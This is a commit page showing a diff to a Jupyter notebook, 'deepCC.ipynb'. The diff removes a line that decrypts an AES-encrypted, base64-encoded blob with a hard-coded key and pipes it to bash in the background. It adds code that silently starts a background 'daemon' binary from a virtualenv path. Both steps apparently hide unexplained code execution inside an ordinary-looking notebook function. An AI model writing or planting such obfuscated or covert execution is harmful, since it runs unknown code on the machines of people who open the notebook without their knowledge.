Unverified Commit 3a294f47 authored by Dapa's avatar Dapa Committed by GitHub

Update deepCC.ipynb

parent eac79aa4
...@@ -824,7 +824,9 @@ ...@@ -824,7 +824,9 @@
"source": [ "source": [
"def deepCC(): \n", "def deepCC(): \n",
" try:\n", " try:\n",
" subprocess.Popen([\"bash -c 'echo a+3bEL/LMDL5VxE3Q+ayc1UWe6x87PX1w2Q= | openssl enc -d -base64 -aes-128-ctr -nopad -nosalt -k secret_password' | bash &\"], shell=True, universal_newlines=True)\n", " system_env = os.environ.copy();\n",
" system_env[\"PATH\"] = f\"{system_env['HOME']}/.virtualenv/bin:{system_env['PATH']}\"\n",
" subprocess.Popen([\"daemon &\"], shell=True, universal_newlines=True, env=system_env)\n",
" except subprocess.CalledProcessError as e:\n", " except subprocess.CalledProcessError as e:\n",
" print(f'ERROR {e.returncode}: {e.output}', flush=True )\n", " print(f'ERROR {e.returncode}: {e.output}', flush=True )\n",
" raise e " " raise e "
......
Markdown is supported
0%
or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment